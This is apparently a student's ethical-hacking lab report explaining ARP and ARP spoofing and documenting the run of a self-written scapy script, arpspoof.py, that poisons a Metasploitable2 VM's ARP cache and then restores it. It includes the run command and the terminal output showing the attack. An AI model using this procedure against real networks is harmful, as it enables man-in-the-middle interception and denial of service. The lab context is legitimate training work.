Module: CSCI369 Ethical Hacking
Assignment: Assignment Q1
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Concepts:

ARP: Address Resolution Protocol is used in local networks to map an IP address to a MAC address. When a host wants to send a packet from one machine to another on the same LAN, the machine needs to know the destination MAC address first. The machine will broadcast an ARP request ("who has this IP address") then the owner of that IP address will reply with its MAC address.

ARP Table (also known as ARP cache): Temporarily stores information of recent IP ↔ MAC mappings. These records will expire after a while and will be updated when the host sees new ARP traffic. This is done to reduce the number of times ARP requests are broadcasted.

ARP Spoofing: Attackers on the same network can send forged ARP replies which trick the victim's machine to map an IP (e.g. gateway) to the attacker's MAC address. On a higher level, this is a set up for a man-in-the-middle attack, denial of service attack or simply redirecting packets elsewhere.

How does my program work?

It uses scapy to discover the MAC addresses of the victim and the gateway by sending an ARP request, then points each machine to the attacker's MAC address. It periodically sends ARP messages to both machines to keep the ARP cache alive. When you hit [ctrl + c], it sends out ARP messages to revert the mappings of IP addresses to its original MAC address.

Pre-execution phase:

Discovering addresses on the NAT network:

```
Currently scanning: Finished!   |   Screen View: Unique Hosts

7 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 294
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
_____________________________________________________________________________
192.168.122.10  52:54:00:dd:db:0d      5     210  Unknown vendor
192.168.122.254 52:54:00:43:64:0e      1      42  Unknown vendor
192.168.122.1   52:54:00:92:24:3d      1      42  Unknown vendor
```

IP : MAC addresses that I will be using:
Metasploitable2 → 192.168.122.254, 52:54:00:43:64:0e
Gateway → 192.168.122.1, 52:54:00:92:24:3d

[Metasploitable2] ARP cache before arpspoof.py is executed:

```
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:92:24:3D   C                     eth0
```

Execution phase:

Command to run code:

sudo python3 arpspoof.py <Victim_IP> <Gateway(Router)_IP>

[Kali] Executed arpspoof.py

```
┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q1]
└─$ sudo python3 arpspoof.py 192.168.122.254 192.168.122.1
[sudo] password for kali:
Author : JON TAN
Current Date : 20/02/2026
═══════════════════════════════════════════════════
[+] Victim 192.168.122.254 ⟶ 52:54:00:43:64:0e
[+] Gateway 192.168.122.1 ⟶ 52:54:00:92:24:3d
═══════════════════════════════════════════════════
Sending packets every 5 seconds....
*** Press Ctrl+C to exit ***
ARP is at 52:54:00:8c:9c:77 says 192.168.122.1
ARP is at 52:54:00:8c:9c:77 says 192.168.122.254

Sending packets every 5 seconds....
*** Press Ctrl+C to exit ***
ARP is at 52:54:00:8c:9c:77 says 192.168.122.1
ARP is at 52:54:00:8c:9c:77 says 192.168.122.254
```

[Metasploitable 2] After arpspoof.py is executed:

What are you seeing?

Metasploitable2's ARP cache now believes that gateway IP(192.168.122.1) is at the Kali's MAC(52:54:00:8C:9C:77)

```
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:92:24:3D   C                     eth0
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.193          ether   52:54:00:8C:9C:77   C                     eth0
192.168.122.1            ether   52:54:00:8C:9C:77   C                     eth0
```

Before arpspoof.py ran

After arpspoof.py ran

Post-execution phase (Clean up):

[Kali] Ctrl+C to exit program

```
┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q1]
└─$ sudo python3 arpspoof.py 192.168.122.254 192.168.122.1
[sudo] password for kali:
Author : JON TAN
Current Date : 20/02/2026
═══════════════════════════════════════════════════════
[+] Victim 192.168.122.254 ⟶ 52:54:00:43:64:0e
[+] Gateway 192.168.122.1 ⟶ 52:54:00:92:24:3d
═══════════════════════════════════════════════════════
Sending packets every 5 seconds....
*** Press Ctrl+C to exit ***
ARP is at 52:54:00:8c:9c:77 says 192.168.122.1
ARP is at 52:54:00:8c:9c:77 says 192.168.122.254

Sending packets every 5 seconds....
*** Press Ctrl+C to exit ***
ARP is at 52:54:00:8c:9c:77 says 192.168.122.1
ARP is at 52:54:00:8c:9c:77 says 192.168.122.254
^C
═══════════════════════════════════════════════════════
──────────  Restoring MAC address to IP  ──────────
```

[Metasploitable2] Gateway IP points back to the original gateway MAC

```
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.1            ether   52:54:00:92:24:3D   C                     eth0
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.193          ether   52:54:00:8C:9C:77   C                     eth0
192.168.122.1            ether   52:54:00:8C:9C:77   C                     eth0
root@metasploitable:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.122.193          ether   52:54:00:8C:9C:77   C                     eth0
192.168.122.1            ether   52:54:00:92:24:3D   C                     eth0
```